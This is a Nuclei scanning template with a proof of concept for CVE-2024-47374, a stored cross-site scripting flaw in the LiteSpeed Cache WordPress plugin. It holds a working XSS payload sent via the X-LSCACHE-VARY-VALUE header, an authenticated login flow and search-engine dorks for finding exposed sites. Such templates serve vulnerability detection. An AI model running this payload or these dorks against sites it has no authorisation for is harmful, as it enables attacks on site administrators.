LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
PoC代码[已公开]
id: CVE-2024-47374
info:
name: LiteSpeed Cache <= 6.5.0.2 - Stored XSS
author: Sourabh-Sahu
severity: high
description: |
LiteSpeed Technologies LiteSpeed Cache versions up to 6.5.0.2 contain a stored cross-site scripting caused by improper input neutralization during web page generation, letting attackers execute malicious scripts in victim browsers, exploit requires storing malicious input.
impact: |
Attackers can execute malicious scripts in victim browsers, leading to session hijacking, defacement, or redirection.
remediation: |
Update to the latest version of LiteSpeed Cache.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/litespeed-cache/litespeed-cache-61-unauthenticated-stored-cross-site-scripting
- https://patchstack.com/database/vulnerability/litespeed-cache/wordpress-litespeed-cache-plugin-6-5-0-2-cross-site-scripting-xss-vulnerability?_s_id=cve
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
cvss-score: 7.1
cve-id: CVE-2024-47374
cwe-id: CWE-79
epss-score: 0.19283
epss-percentile: 0.95191
cpe: cpe:2.3:a:litespeedtech:litespeed_cache:*:*:*:*:*:wordpress:*:*
metadata:
verified: true
max-request: 5
fofa-query: body=/wp-content/plugins/litespeed-cache/
google-query: inurl:"/wp-content/plugins/litespeed-cache/"
shodan-query: http.html:"/wp-content/plugins/litespeed-cache/"
tags: cve,cve2024,wordpress,wp-plugin,xss,stored,litespeed,authenticated,vkev
flow: http(1) && http(2) && http(3) && http(4) && http(5)
http:
- raw:
- |
GET /wp-content/plugins/litespeed-cache/readme.txt HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- "compare_versions(version, '<= 6.5.0.2')"
- "contains(body, 'LiteSpeed Cache')"
condition: and
internal: true
extractors:
- type: regex
part: body
name: version
group: 1
regex:
- 'Stable tag: ([0-9.]+)'
internal: true
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
X-LSCACHE-VARY-VALUE: "><script>alert(1)</script>
matchers:
- type: dsl
dsl:
- status_code == 200
- "contains_all(header, 'X-Litespeed-Tag', '2d2_HTTP.200')"
condition: and
internal: true
- raw:
- |
GET /wp-login.php HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains(body, "loginform")
condition: and
internal: true
- raw:
- |
POST /wp-login.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
log={{username}}&pwd={{password}}&wp-submit=Log+In&redirect_to={{RootURL}}/wp-admin/&testcookie=1
matchers:
- type: dsl
dsl:
- status_code == 302
- contains(header, "wordpress_logged_in")
condition: and
internal: true
- raw:
- |
GET /wp-admin/admin.php?page=litespeed-page_optm HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- status_code == 200
- contains_all(body, "><script>alert(1)</script>","litespeed")
condition: and
# digest: 490a0046304402206ac407b52baf559988f20aa12e233129bf59ea311a35a5a557e4a240d3f2732302203c41ec74b8158d4a7409882c023a2d8718741dda5a8b8ebe2be9dc300a30b5c4:922c64590222798bb761d5b6d8e72950